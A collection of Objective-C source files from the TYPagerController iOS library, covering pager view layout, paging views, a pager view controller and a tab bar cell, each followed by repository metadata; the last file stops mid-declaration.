// see TYPagerView&&TYPagerController, add&&remove item ,must implement scrollView addSubView item's view
- (void)pagerViewLayout:(TYPagerViewLayout *)pagerViewLayout addVisibleItem:(id)item atIndex:(NSInteger)index;
- (void)pagerViewLayout:(TYPagerViewLayout *)pagerViewLayout removeInVisibleItem:(id)item atIndex:(NSInteger)index;
@optional
// if have not viewController return nil.
- (UIViewController *)pagerViewLayout:(TYPagerViewLayout *)pagerViewLayout viewControllerForItem:(id)item atIndex:(NSInteger)index;
@end
@protocol TYPagerViewLayoutDelegate <NSObject>
@optional
// Transition animation customization
// if you implement transitionFromIndex:toIndex:progress:,only tap change index will call this, you can set progressAnimateEnabel NO that not call progress method
- (void)pagerViewLayout:(TYPagerViewLayout *)pagerViewLayout transitionFromIndex:(NSInteger)fromIndex toIndex:(NSInteger)toIndex animated:(BOOL)animated;
// if you implement the method,also you need implement transitionFromIndex:toIndex:animated:,deal with tap change index animate
- (void)pagerViewLayout:(TYPagerViewLayout *)pagerViewLayout transitionFromIndex:(NSInteger)fromIndex toIndex:(NSInteger)toIndex progress:(CGFloat)progress;
// ScrollViewDelegate
- (void)pagerViewLayoutDidScroll:(TYPagerViewLayout *)pagerViewLayout;
- (void)pagerViewLayoutWillBeginScrollToView:(TYPagerViewLayout *)pagerViewLayout animate:(BOOL)animate;
- (void)pagerViewLayoutDidEndScrollToView:(TYPagerViewLayout *)pagerViewLayout animate:(BOOL)animate;
- (void)pagerViewLayoutWillBeginDragging:(TYPagerViewLayout *)pagerViewLayout;
- (void)pagerViewLayoutDidEndDragging:(TYPagerViewLayout *)pagerViewLayout willDecelerate:(BOOL)decelerate;
- (void)pagerViewLayoutWillBeginDecelerating:(TYPagerViewLayout *)pagerViewLayout;
- (void)pagerViewLayoutDidEndDecelerating:(TYPagerViewLayout *)pagerViewLayout;
- (void)pagerViewLayoutDidEndScrollingAnimation:(TYPagerViewLayout *)pagerViewLayout;
@end
@interface TYPagerViewLayout<__covariant ItemType> : NSObject
@property (nonatomic, weak, nullable) id<TYPagerViewLayoutDataSource> dataSource;
@property (nonatomic, weak, nullable) id<TYPagerViewLayoutDelegate> delegate;
// strong,will control the delegate,don't set delegate on other place.
@property (nonatomic, strong, readonly) UIScrollView *scrollView;
// if viewcontroller's automaticallyAdjustsScrollViewInsets YES ,will cause frame problems, you can set YES, default YES
@property (nonatomic, assign) BOOL adjustScrollViewInset;
@property (nonatomic, assign, readonly) NSInteger countOfPagerItems;
@property (nonatomic, assign, readonly) NSInteger curIndex;// default -1
@property (nonatomic, strong, readonly) NSCache<NSNumber *,ItemType> *memoryCache;; // will cache pagerView,you can set countLimit
@property (nonatomic, assign) BOOL autoMemoryCache; // default YES
@property (nonatomic, assign) NSInteger prefetchItemCount;// preload left and right item's count , default 0
// because when superview add subview(have tableView) will call relodData,if set Yes will optimize. default NO
@property (nonatomic, assign) BOOL prefetchItemWillAddToSuperView;
@property (nonatomic, assign, readonly) NSRange prefetchRange;
@property (nonatomic, assign, readonly) NSRange visibleRange;
@property (nonatomic, strong, nullable, readonly) NSArray<NSNumber *> * visibleIndexs;
@property (nonatomic, strong, nullable, readonly) NSArray<ItemType> * visibleItems;
// default YES, if NO,will not call delegate transitionFromIndex:toIndex:progress:,but will call transitionFromIndex:toIndex:
@property (nonatomic, assign) BOOL progressAnimateEnabel;
// default NO, when scroll visible range change will add item.If YES add item only when scroll animate end, suggest set prefetchItemCount 1 or more
@property (nonatomic, assign) BOOL addVisibleItemOnlyWhenScrollAnimatedEnd;
// default 0.5,when scroll progress percent will change index, only progressAnimateEnabel is NO or don't implement delegate transitionFromIndex: toIndex: progress:
@property (nonatomic, assign) CGFloat changeIndexWhenScrollProgress;
- (instancetype)init NS_UNAVAILABLE;
+ (instancetype)new NS_UNAVAILABLE;
/**
initializer will strong scrollView,and control delegate,don't set delegate on other place.
*/
- (instancetype)initWithScrollView:(UIScrollView *)scrollView NS_DESIGNATED_INITIALIZER; // strong scrollView
- (ItemType _Nullable)itemForIndex:(NSInteger)idx;
- (UIView *)viewForItem:(ItemType)item atIndex:(NSInteger)index;
// if have not viewController return nil.
- (UIViewController *_Nullable)viewControllerForItem:(id)item atIndex:(NSInteger)index;
// view's frame at index
- (CGRect)frameForItemAtIndex:(NSInteger)index;
// register && dequeue's usage like tableView
- (void)registerClass:(Class)Class forItemWithReuseIdentifier:(NSString *)identifier;
- (void)registerNib:(UINib *)nib forItemWithReuseIdentifier:(NSString *)identifier;
- (ItemType)dequeueReusableItemWithReuseIdentifier:(NSString *)identifier forIndex:(NSInteger)index;
// scroll to index
- (void)scrollToItemAtIndex:(NSInteger)index animate:(BOOL)animate;
// update data and layoutthe same to relaodData,but don't reset propertys(curIndex,visibleDatas,prefechDatas)
- (void)updateData;
// reload data and reset propertys
- (void)reloadData;
@end
NS_ASSUME_NONNULL_END
```
|
/content/code_sandbox/TYPagerControllerDemo/TYPagerController/TYPagerViewLayout.h
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 1,400
|
```objective-c
//
// TYPagerView.h
// TYPagerControllerDemo
//
// Created by tany on 2017/7/5.
//
#import <UIKit/UIKit.h>
#import "TYPagerViewLayout.h"
NS_ASSUME_NONNULL_BEGIN
@class TYPagerView;
@protocol TYPagerViewDataSource <NSObject>
- (NSInteger)numberOfViewsInPagerView;
/* 1.if prefetching is YES, the prefetch view not display.
2.if view will diaplay,will call willAppearView:forIndex:.
3.layout.frameForItemAtIndex can get view's frame
4.you can register && dequeue view, usage like tableView
*/
- (UIView *)pagerView:(TYPagerView *)pagerView viewForIndex:(NSInteger)index prefetching:(BOOL)prefetching;
@end
@protocol TYPagerViewDelegate <NSObject>
@optional
// Display customization
// if want do something in view will display,you can implement this
- (void)pagerView:(TYPagerView *)pagerView willAppearView:(UIView *)view forIndex:(NSInteger)index;
- (void)pagerView:(TYPagerView *)pagerView didAppearView:(UIView *)view forIndex:(NSInteger)index;
// Disappear customization
- (void)pagerView:(TYPagerView *)pagerView willDisappearView:(UIView *)view forIndex:(NSInteger)index;
- (void)pagerView:(TYPagerView *)pagerView didDisappearView:(UIView *)view forIndex:(NSInteger)index;
// Transition animation customization
// if you implement transitionFromIndex:toIndex:progress:,only tap change index will call this, you can set progressAnimateEnabel NO that not call progress method
- (void)pagerView:(TYPagerView *)pagerView transitionFromIndex:(NSInteger)fromIndex toIndex:(NSInteger)toIndex animated:(BOOL)animated;
// if you implement the method,also you need implement transitionFromIndex:toIndex:animated:,deal with tap change index animate
- (void)pagerView:(TYPagerView *)pagerView transitionFromIndex:(NSInteger)fromIndex toIndex:(NSInteger)toIndex progress:(CGFloat)progress;
// scrollView delegate
- (void)pagerViewDidScroll:(TYPagerView *)pageView;
- (void)pagerViewWillBeginScrolling:(TYPagerView *)pageView animate:(BOOL)animate;
- (void)pagerViewDidEndScrolling:(TYPagerView *)pageView animate:(BOOL)animate;
@end
@interface TYPagerView : UIView
@property (nonatomic, weak, nullable) id<TYPagerViewDataSource> dataSource;
@property (nonatomic, weak, nullable) id<TYPagerViewDelegate> delegate;
// pagerView's layout,don't set layout's dataSource to other
@property (nonatomic, strong, readonly) TYPagerViewLayout<UIView *> *layout;
@property (nonatomic, strong, readonly) UIScrollView *scrollView;
@property (nonatomic, assign, readonly) NSInteger countOfPagerViews;
@property (nonatomic, assign, readonly) NSInteger curIndex;// default -1
@property (nonatomic, assign, nullable, readonly) NSArray<UIView *> *visibleViews;
@property (nonatomic, assign) UIEdgeInsets contentInset;
//if not visible, prefecth, cache view at index, return nil
- (UIView *_Nullable)viewForIndex:(NSInteger)index;
// register && dequeue's usage like tableView
- (void)registerClass:(Class)Class forViewWithReuseIdentifier:(NSString *)identifier;
- (void)registerNib:(UINib *)nib forViewWithReuseIdentifier:(NSString *)identifier;
- (UIView *)dequeueReusableViewWithReuseIdentifier:(NSString *)identifier forIndex:(NSInteger)index;
// scroll to index
- (void)scrollToViewAtIndex:(NSInteger)index animate:(BOOL)animate;
// update data and layout,but don't reset propertys(curIndex,visibleDatas,prefechDatas)
- (void)updateData;
// reload data and reset propertys
- (void)reloadData;
@end
NS_ASSUME_NONNULL_END
```
|
/content/code_sandbox/TYPagerControllerDemo/TYPagerController/TYPagerView.h
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 846
|
```objective-c
//
// TYPagerController.m
// TYPagerControllerDemo
//
// Created by tanyang on 16/4/13.
//
#import "TYPagerController.h"
@interface TYPagerController ()<TYPagerViewLayoutDataSource, TYPagerViewLayoutDelegate> {
// private
struct {
unsigned int viewWillAppearForIndex :1;
unsigned int viewDidAppearForIndex :1;
unsigned int viewWillDisappearForIndex :1;
unsigned int viewDidDisappearForIndex :1;
unsigned int transitionFromIndexToIndex :1;
unsigned int transitionFromIndexToIndexProgress :1;
unsigned int viewDidScroll: 1;
unsigned int viewWillBeginScrolling: 1;
unsigned int viewDidEndScrolling: 1;
}_delegateFlags;
}
// Data
@property (nonatomic, strong) TYPagerViewLayout<UIViewController *> *layout;
@end
@implementation TYPagerController
- (TYPagerViewLayout<UIViewController *> *)layout {
if (!_layout) {
UIScrollView *scrollView = [[UIScrollView alloc]init];
TYPagerViewLayout<UIViewController *> *layout = [[TYPagerViewLayout alloc]initWithScrollView:scrollView];
layout.dataSource = self;
layout.delegate = self;
layout.adjustScrollViewInset = YES;
_layout = layout;
}
return _layout;
}
- (instancetype)initWithCoder:(NSCoder *)aDecoder {
if (self = [super initWithCoder:aDecoder]) {
_automaticallySystemManagerViewAppearanceMethods = YES;
}
return self;
}
- (instancetype)initWithNibName:(NSString *)nibNameOrNil bundle:(NSBundle *)nibBundleOrNil {
if (self = [super initWithNibName:nibNameOrNil bundle:nibBundleOrNil]) {
_automaticallySystemManagerViewAppearanceMethods = YES;
}
return self;
}
#pragma mark - life cycle
- (void)viewDidLoad {
[super viewDidLoad];
// Do any additional setup after loading the view.
self.view.backgroundColor = [UIColor whiteColor];
// prevent sysytem automaticallyAdjustsScrollViewInsets
[self addFixAutoAdjustInsetScrollView];
[self.view addSubview:self.layout.scrollView];
}
- (void)addFixAutoAdjustInsetScrollView {
UIView *view = [[UIView alloc]init];
[self.view addSubview:view];
}
- (void)viewWillAppear:(BOOL)animated {
[super viewWillAppear:animated];
_layout.scrollView.frame = UIEdgeInsetsInsetRect(self.view.bounds,_contentInset);
}
- (void)viewWillLayoutSubviews
{
[super viewWillLayoutSubviews];
_layout.scrollView.frame = UIEdgeInsetsInsetRect(self.view.bounds,_contentInset);
}
#pragma mark - getter && setter
- (void)setDelegate:(id<TYPagerControllerDelegate>)delegate
{
_delegate = delegate;
_delegateFlags.viewWillAppearForIndex = [delegate respondsToSelector:@selector(pagerController:viewWillAppear:forIndex:)];
_delegateFlags.viewDidAppearForIndex = [delegate respondsToSelector:@selector(pagerController:viewDidAppear:forIndex:)];
_delegateFlags.viewWillDisappearForIndex = [delegate respondsToSelector:@selector(pagerController:viewWillDisappear:forIndex:)];
_delegateFlags.viewDidDisappearForIndex = [delegate respondsToSelector:@selector(pagerController:viewDidDisappear:forIndex:)];
_delegateFlags.transitionFromIndexToIndex = [delegate respondsToSelector:@selector(pagerController:transitionFromIndex:toIndex:animated:)];
_delegateFlags.transitionFromIndexToIndexProgress = [delegate respondsToSelector:@selector(pagerController:transitionFromIndex:toIndex:progress:)];
_delegateFlags.viewDidScroll = [delegate respondsToSelector:@selector(pagerControllerDidScroll:)];
_delegateFlags.viewWillBeginScrolling = [delegate respondsToSelector:@selector(pagerControllerWillBeginScrolling:animate:)];
_delegateFlags.viewDidEndScrolling = [delegate respondsToSelector:@selector(pagerControllerDidEndScrolling:animate:)];
}
- (NSInteger)curIndex {
return _layout.curIndex;
}
- (NSInteger)countOfControllers {
return _layout.countOfPagerItems;
}
- (NSArray<UIViewController *> *)visibleControllers {
return _layout.visibleItems;
}
- (UIScrollView *)scrollView {
return _layout.scrollView;
}
- (void)setContentInset:(UIEdgeInsets)contentInset {
_contentInset = contentInset;
[self.view setNeedsLayout];
}
- (BOOL)shouldAutomaticallyForwardAppearanceMethods {
return _automaticallySystemManagerViewAppearanceMethods;
}
- (void)childViewController:(UIViewController *)childViewController BeginAppearanceTransition:(BOOL)isAppearing animated:(BOOL)animated {
if (!_automaticallySystemManagerViewAppearanceMethods) {
[childViewController beginAppearanceTransition:isAppearing animated:animated];
}
}
- (void)childViewControllerEndAppearanceTransition:(UIViewController *)childViewController {
if (!_automaticallySystemManagerViewAppearanceMethods) {
[childViewController endAppearanceTransition];
}
}
#pragma mark - public method
- (UIViewController *)controllerForIndex:(NSInteger)index {
return [_layout itemForIndex:index];
}
- (void)scrollToControllerAtIndex:(NSInteger)index animate:(BOOL)animate {
[_layout scrollToItemAtIndex:index animate:animate];
}
- (void)updateData {
[_layout updateData];
}
- (void)reloadData {
[_layout reloadData];
}
- (void)registerClass:(Class)Class forControllerWithReuseIdentifier:(NSString *)identifier {
[_layout registerClass:Class forItemWithReuseIdentifier:identifier];
}
- (void)registerNib:(UINib *)nib forControllerWithReuseIdentifier:(NSString *)identifier {
[_layout registerNib:nib forItemWithReuseIdentifier:identifier];
}
- (UIViewController *)dequeueReusableControllerWithReuseIdentifier:(NSString *)identifier forIndex:(NSInteger)index {
return [_layout dequeueReusableItemWithReuseIdentifier:identifier forIndex:index];
}
#pragma mark - private
- (void)willBeginScrollingAnimate:(BOOL)animate {
if (_delegateFlags.viewWillBeginScrolling) {
[_delegate pagerControllerWillBeginScrolling:self animate:animate];
}
}
- (void)didEndScrollingAnimate:(BOOL)animate {
if (_delegateFlags.viewDidEndScrolling) {
[_delegate pagerControllerDidEndScrolling:self animate:animate];
}
}
#pragma mark - TYPagerViewLayoutDataSource
- (NSInteger)numberOfItemsInPagerViewLayout {
return [_dataSource numberOfControllersInPagerController];
}
- (id)pagerViewLayout:(TYPagerViewLayout *)pagerViewLayout itemForIndex:(NSInteger)index prefetching:(BOOL)prefetching {
return [_dataSource pagerController:self controllerForIndex:index prefetching:prefetching];
}
- (UIView *)pagerViewLayout:(TYPagerViewLayout *)pagerViewLayout viewForItem:(id)item atIndex:(NSInteger)index {
UIViewController *viewController = item;
return viewController.view;
}
- (UIViewController *)pagerViewLayout:(TYPagerViewLayout *)pagerViewLayout viewControllerForItem:(id)item atIndex:(NSInteger)index {
return item;
}
- (void)pagerViewLayout:(TYPagerViewLayout *)pagerViewLayout addVisibleItem:(id)item atIndex:(NSInteger)index {
UIViewController *viewController = item;
if (_delegateFlags.viewWillAppearForIndex) {
[_delegate pagerController:self viewWillAppear:viewController forIndex:index];
}
// addChildViewController
[self addChildViewController:viewController];
[self childViewController:viewController BeginAppearanceTransition:YES animated:YES];
[pagerViewLayout.scrollView addSubview:viewController.view];
[self childViewControllerEndAppearanceTransition:viewController];
[viewController didMoveToParentViewController:self];
if (_delegateFlags.viewDidAppearForIndex) {
[_delegate pagerController:self viewDidAppear:viewController forIndex:index];
}
}
- (void)pagerViewLayout:(TYPagerViewLayout *)pagerViewLayout removeInVisibleItem:(id)item atIndex:(NSInteger)index {
UIViewController *viewController = item;
if (_delegateFlags.viewWillDisappearForIndex) {
[_delegate pagerController:self viewWillDisappear:viewController forIndex:index];
}
// removeChildViewController
[viewController willMoveToParentViewController:nil];
[self childViewController:viewController BeginAppearanceTransition:NO animated:YES];
[viewController.view removeFromSuperview];
[self childViewControllerEndAppearanceTransition:viewController];
[viewController removeFromParentViewController];
if (_delegateFlags.viewDidDisappearForIndex) {
[_delegate pagerController:self viewDidDisappear:viewController forIndex:index];
}
}
#pragma mark - TYPagerViewLayoutDelegate
- (void)pagerViewLayout:(TYPagerViewLayout *)pagerViewLayout transitionFromIndex:(NSInteger)fromIndex toIndex:(NSInteger)toIndex animated:(BOOL)animated {
if (_delegateFlags.transitionFromIndexToIndex) {
[_delegate pagerController:self transitionFromIndex:fromIndex toIndex:toIndex animated:animated];
}
}
- (void)pagerViewLayout:(TYPagerViewLayout *)pagerViewLayout transitionFromIndex:(NSInteger)fromIndex toIndex:(NSInteger)toIndex progress:(CGFloat)progress {
if (_delegateFlags.transitionFromIndexToIndexProgress) {
[_delegate pagerController:self transitionFromIndex:fromIndex toIndex:toIndex progress:progress];
}
}
- (void)pagerViewLayoutDidScroll:(TYPagerViewLayout *)pagerViewLayout {
if (_delegateFlags.viewDidScroll) {
[_delegate pagerControllerDidScroll:self];
}
}
- (void)pagerViewLayoutWillBeginDragging:(TYPagerViewLayout *)pagerViewLayout {
[self willBeginScrollingAnimate:YES];
}
- (void)pagerViewLayoutWillBeginScrollToView:(TYPagerViewLayout *)pagerViewLayout animate:(BOOL)animate {
[self willBeginScrollingAnimate:animate];
}
- (void)pagerViewLayoutDidEndDecelerating:(TYPagerViewLayout *)pagerViewLayout {
[self didEndScrollingAnimate:YES];
}
- (void)pagerViewLayoutDidEndScrollToView:(TYPagerViewLayout *)pagerViewLayout animate:(BOOL)animate {
[self didEndScrollingAnimate:animate];
}
- (void)pagerViewLayoutDidEndScrollingAnimation:(TYPagerViewLayout *)pagerViewLayout {
[self didEndScrollingAnimate:YES];
}
- (void)dealloc
{
_layout = nil;
}
@end
```
|
/content/code_sandbox/TYPagerControllerDemo/TYPagerController/TYPagerController.m
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 2,136
|
```objective-c
//
// TYPagerView.m
// TYPagerControllerDemo
//
// Created by tany on 2017/7/5.
//
#import "TYPagerView.h"
@interface TYPagerView ()<TYPagerViewLayoutDataSource, TYPagerViewLayoutDelegate> {
// private
struct {
unsigned int willAppearViewForIndex :1;
unsigned int didAppearViewForIndex :1;
unsigned int willDisappearViewForIndex :1;
unsigned int didDisappearViewForIndex :1;
unsigned int transitionFromIndexToIndex :1;
unsigned int transitionFromIndexToIndexProgress :1;
unsigned int viewDidScroll: 1;
unsigned int viewWillBeginScrolling: 1;
unsigned int viewDidEndScrolling: 1;
}_delegateFlags;
}
// Data
@property (nonatomic, strong) TYPagerViewLayout<UIView *> *layout;
@end
@implementation TYPagerView
#pragma mark - life cycle
- (instancetype)initWithFrame:(CGRect)frame {
if (self = [super initWithFrame:frame]) {
self.backgroundColor = [UIColor clearColor];
// prevent sysytem automaticallyAdjustsScrollViewInsets
[self addFixAutoAdjustInsetScrollView];
[self addLayoutScrollView];
}
return self;
}
- (instancetype)initWithCoder:(NSCoder *)aDecoder {
if (self = [super initWithCoder:aDecoder]) {
self.backgroundColor = [UIColor clearColor];
// prevent sysytem automaticallyAdjustsScrollViewInsets
[self addFixAutoAdjustInsetScrollView];
[self addLayoutScrollView];
}
return self;
}
- (void)addFixAutoAdjustInsetScrollView {
UIView *view = [[UIView alloc]init];
[self addSubview:view];
}
- (void)addLayoutScrollView {
UIScrollView *contentView = [[UIScrollView alloc]init];
TYPagerViewLayout<UIView *> *layout = [[TYPagerViewLayout alloc]initWithScrollView:contentView];
layout.dataSource = self;
layout.delegate = self;
[self addSubview:contentView];
_layout = layout;
_layout.scrollView.frame = self.bounds;
}
#pragma mark - getter && setter
- (NSInteger)curIndex {
return _layout.curIndex;
}
- (NSInteger)countOfPagerViews {
return _layout.countOfPagerItems;
}
- (NSArray<UIView *> *)visibleViews {
return _layout.visibleItems;
}
- (UIScrollView *)scrollView {
return _layout.scrollView;
}
- (void)setContentInset:(UIEdgeInsets)contentInset {
_contentInset = contentInset;
[self setNeedsLayout];
}
- (void)setDelegate:(id<TYPagerViewDelegate>)delegate {
_delegate = delegate;
_delegateFlags.willAppearViewForIndex = [delegate respondsToSelector:@selector(pagerView:willAppearView:forIndex:)];
_delegateFlags.didAppearViewForIndex = [delegate respondsToSelector:@selector(pagerView:didAppearView:forIndex:)];
_delegateFlags.willDisappearViewForIndex = [delegate respondsToSelector:@selector(pagerView:willDisappearView:forIndex:)];
_delegateFlags.didDisappearViewForIndex = [delegate respondsToSelector:@selector(pagerView:didDisappearView:forIndex:)];
_delegateFlags.transitionFromIndexToIndex = [delegate respondsToSelector:@selector(pagerView:transitionFromIndex:toIndex:animated:)];
_delegateFlags.transitionFromIndexToIndexProgress = [delegate respondsToSelector:@selector(pagerView:transitionFromIndex:toIndex:progress:)];
_delegateFlags.viewDidScroll = [delegate respondsToSelector:@selector(pagerViewDidScroll:)];
_delegateFlags.viewWillBeginScrolling = [delegate respondsToSelector:@selector(pagerViewWillBeginScrolling:animate:)];
_delegateFlags.viewDidEndScrolling = [delegate respondsToSelector:@selector(pagerViewDidEndScrolling:animate:)];
}
#pragma mark - public
- (void)updateData {
[_layout updateData];
}
- (void)reloadData {
[_layout reloadData];
}
- (void)scrollToViewAtIndex:(NSInteger)index animate:(BOOL)animate {
[_layout scrollToItemAtIndex:index animate:animate];
}
- (UIView *)viewForIndex:(NSInteger)idx {
return [_layout itemForIndex:idx];
}
- (void)registerClass:(Class)Class forViewWithReuseIdentifier:(NSString *)identifier {
[_layout registerClass:Class forItemWithReuseIdentifier:identifier];
}
- (void)registerNib:(UINib *)nib forViewWithReuseIdentifier:(NSString *)identifier {
[_layout registerNib:nib forItemWithReuseIdentifier:identifier];
}
- (UIView *)dequeueReusableViewWithReuseIdentifier:(NSString *)identifier forIndex:(NSInteger)index {
return [_layout dequeueReusableItemWithReuseIdentifier:identifier forIndex:index];
}
#pragma mark - private
- (void)willBeginScrollingAnimate:(BOOL)animate {
if (_delegateFlags.viewWillBeginScrolling) {
[_delegate pagerViewWillBeginScrolling:self animate:animate];
}
}
- (void)didEndScrollingAnimate:(BOOL)animate {
if (_delegateFlags.viewDidEndScrolling) {
[_delegate pagerViewDidEndScrolling:self animate:animate];
}
}
#pragma mark - TYPagerViewLayoutDataSource
- (NSInteger)numberOfItemsInPagerViewLayout {
return [_dataSource numberOfViewsInPagerView];
}
- (id)pagerViewLayout:(TYPagerViewLayout *)pagerViewLayout itemForIndex:(NSInteger)index prefetching:(BOOL)prefetching {
return [_dataSource pagerView:self viewForIndex:index prefetching:prefetching];
}
- (UIView *)pagerViewLayout:(TYPagerViewLayout *)pagerViewLayout viewForItem:(id)item atIndex:(NSInteger)index {
return item;
}
- (void)pagerViewLayout:(TYPagerViewLayout *)pagerViewLayout addVisibleItem:(id)item atIndex:(NSInteger)index {
UIView *visibleView = item;
if (_delegateFlags.willAppearViewForIndex) {
[_delegate pagerView:self willAppearView:visibleView forIndex:index];
}
[pagerViewLayout.scrollView addSubview:visibleView];
if (_delegateFlags.didAppearViewForIndex) {
[_delegate pagerView:self didAppearView:visibleView forIndex:index];
}
}
- (void)pagerViewLayout:(TYPagerViewLayout *)pagerViewLayout removeInVisibleItem:(id)item atIndex:(NSInteger)index {
UIView *invisibleView = item;
if (_delegateFlags.willDisappearViewForIndex) {
[_delegate pagerView:self willDisappearView:invisibleView forIndex:index];
}
[invisibleView removeFromSuperview];
if (_delegateFlags.didDisappearViewForIndex) {
[_delegate pagerView:self didDisappearView:invisibleView forIndex:index];
}
}
#pragma mark - TYPagerViewLayoutDelegate
- (void)pagerViewLayout:(TYPagerViewLayout *)pagerViewLayout transitionFromIndex:(NSInteger)fromIndex toIndex:(NSInteger)toIndex animated:(BOOL)animated {
if (_delegateFlags.transitionFromIndexToIndex) {
[_delegate pagerView:self transitionFromIndex:fromIndex toIndex:toIndex animated:animated];
}
}
- (void)pagerViewLayout:(TYPagerViewLayout *)pagerViewLayout transitionFromIndex:(NSInteger)fromIndex toIndex:(NSInteger)toIndex progress:(CGFloat)progress {
if (_delegateFlags.transitionFromIndexToIndexProgress) {
[_delegate pagerView:self transitionFromIndex:fromIndex toIndex:toIndex progress:progress];
}
}
- (void)pagerViewLayoutDidScroll:(TYPagerViewLayout *)pagerViewLayout {
if (_delegateFlags.viewDidScroll) {
[_delegate pagerViewDidScroll:self];
}
}
- (void)pagerViewLayoutWillBeginDragging:(TYPagerViewLayout *)pagerViewLayout {
[self willBeginScrollingAnimate:YES];
}
- (void)pagerViewLayoutWillBeginScrollToView:(TYPagerViewLayout *)pagerViewLayout animate:(BOOL)animate {
[self willBeginScrollingAnimate:animate];
}
- (void)pagerViewLayoutDidEndDecelerating:(TYPagerViewLayout *)pagerViewLayout {
[self didEndScrollingAnimate:YES];
}
- (void)pagerViewLayoutDidEndScrollToView:(TYPagerViewLayout *)pagerViewLayout animate:(BOOL)animate {
[self didEndScrollingAnimate:animate];
}
- (void)pagerViewLayoutDidEndScrollingAnimation:(TYPagerViewLayout *)pagerViewLayout {
[self didEndScrollingAnimate:YES];
}
#pragma mark - layoutSubviews
- (void)layoutSubviews {
[super layoutSubviews];
_layout.scrollView.frame = UIEdgeInsetsInsetRect(self.bounds,_contentInset);
}
- (void)dealloc {
_layout = nil;
}
@end
```
|
/content/code_sandbox/TYPagerControllerDemo/TYPagerController/TYPagerView.m
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 1,851
|
```objective-c
//
// TYTabTitleViewCell.m
// TYPagerControllerDemo
//
// Created by tany on 16/5/4.
//
#import "TYTabPagerBarCell.h"
@interface TYTabPagerBarCell ()
@property (nonatomic, weak) UILabel *titleLabel;
@end
@implementation TYTabPagerBarCell
- (instancetype)initWithFrame:(CGRect)frame
{
if (self = [super initWithFrame:frame]) {
[self addTabTitleLabel];
}
return self;
}
- (instancetype)initWithCoder:(NSCoder *)aDecoder
{
if (self = [super initWithCoder:aDecoder]) {
[self addTabTitleLabel];
}
return self;
}
- (void)addTabTitleLabel
{
UILabel *titleLabel = [[UILabel alloc]init];
titleLabel.font = [UIFont systemFontOfSize:15];
titleLabel.textColor = [UIColor darkTextColor];
titleLabel.textAlignment = NSTextAlignmentCenter;
[self.contentView addSubview:titleLabel];
_titleLabel = titleLabel;
}
+ (NSString *)cellIdentifier {
return @"TYTabPagerBarCell";
}
- (void)layoutSubviews
{
[super layoutSubviews];
_titleLabel.frame = self.contentView.bounds;
}
@end
```
|
/content/code_sandbox/TYPagerControllerDemo/TYPagerController/TabPager/TYTabPagerBarCell.m
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 250
|
```objective-c
//
// TYPagerViewLayout.m
// TYPagerControllerDemo
//
// Created by tanyang on 2017/7/9.
//
#import "TYPagerViewLayout.h"
#import <objc/runtime.h>
@interface TYAutoPurgeCache : NSCache
@end
@implementation TYAutoPurgeCache
- (nonnull instancetype)init {
if (self = [super init]) {
[[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(removeAllObjects) name:UIApplicationDidReceiveMemoryWarningNotification object:nil];
}
return self;
}
- (void)dealloc {
[[NSNotificationCenter defaultCenter] removeObserver:self name:UIApplicationDidReceiveMemoryWarningNotification object:nil];
}
@end
static char ty_pagerReuseIdentifyKey;
@implementation NSObject (TY_PagerReuseIdentify)
- (NSString *)ty_pagerReuseIdentify {
return objc_getAssociatedObject(self, &ty_pagerReuseIdentifyKey);
}
- (void)setTy_pagerReuseIdentify:(NSString *)ty_pagerReuseIdentify {
objc_setAssociatedObject(self, &ty_pagerReuseIdentifyKey, ty_pagerReuseIdentify, OBJC_ASSOCIATION_RETAIN_NONATOMIC);
}
@end
typedef NS_ENUM(NSUInteger, TYPagerScrollingDirection) {
TYPagerScrollingLeft,
TYPagerScrollingRight,
};
NS_INLINE CGRect frameForItemAtIndex(NSInteger index, CGRect frame)
{
return CGRectMake(index * CGRectGetWidth(frame), 0, CGRectGetWidth(frame), CGRectGetHeight(frame));
}
// caculate visilble range in offset
NS_INLINE NSRange visibleRangWithOffset(CGFloat offset,CGFloat width, NSInteger maxIndex)
{
if (width <= 0) {
return NSMakeRange(0, 0);
}
NSInteger startIndex = offset/width;
NSInteger endIndex = ceil((offset + width)/width);
if (startIndex < 0) {
startIndex = 0;
} else if (startIndex > maxIndex) {
startIndex = maxIndex;
}
if (endIndex > maxIndex) {
endIndex = maxIndex;
}
NSUInteger length = endIndex - startIndex;
if (length > 5) {
length = 5;
}
return NSMakeRange(startIndex, length);
}
NS_INLINE NSRange prefetchRangeWithVisibleRange(NSRange visibleRange,NSInteger prefetchItemCount, NSInteger countOfPagerItems) {
if (prefetchItemCount <= 0) {
return NSMakeRange(0, 0);
}
NSInteger leftIndex = MAX((NSInteger)visibleRange.location - prefetchItemCount, 0);
NSInteger rightIndex = MIN(visibleRange.location+visibleRange.length+prefetchItemCount, countOfPagerItems);
return NSMakeRange(leftIndex, rightIndex - leftIndex);
}
static const NSInteger kMemoryCountLimit = 16;
@interface TYPagerViewLayout<ItemType> ()<UIScrollViewDelegate> {
// Private
BOOL _needLayoutContent;
BOOL _scrollAnimated;
BOOL _isTapScrollMoved;
CGFloat _preOffsetX;
NSInteger _firstScrollToIndex;
BOOL _didReloadData;
BOOL _didLayoutSubViews;
struct {
unsigned int addVisibleItem :1;
unsigned int removeInVisibleItem :1;
}_dataSourceFlags;
struct {
unsigned int transitionFromIndexToIndex :1;
unsigned int transitionFromIndexToIndexProgress :1;
unsigned int pagerViewLayoutDidScroll: 1;
}_delegateFlags;
}
// UI
@property (nonatomic, strong) UIScrollView *scrollView;
// Data
@property (nonatomic, assign) NSInteger countOfPagerItems;
@property (nonatomic, assign) NSInteger curIndex;
@property (nonatomic, strong) NSCache<NSNumber *,ItemType> *memoryCache;
@property (nonatomic, assign) NSRange visibleRange;
@property (nonatomic, assign) NSRange prefetchRange;
@property (nonatomic, strong) NSDictionary<NSNumber *,ItemType> *visibleIndexItems;
@property (nonatomic, strong) NSDictionary<NSNumber *,ItemType> *prefetchIndexItems;
//reuse Class and nib
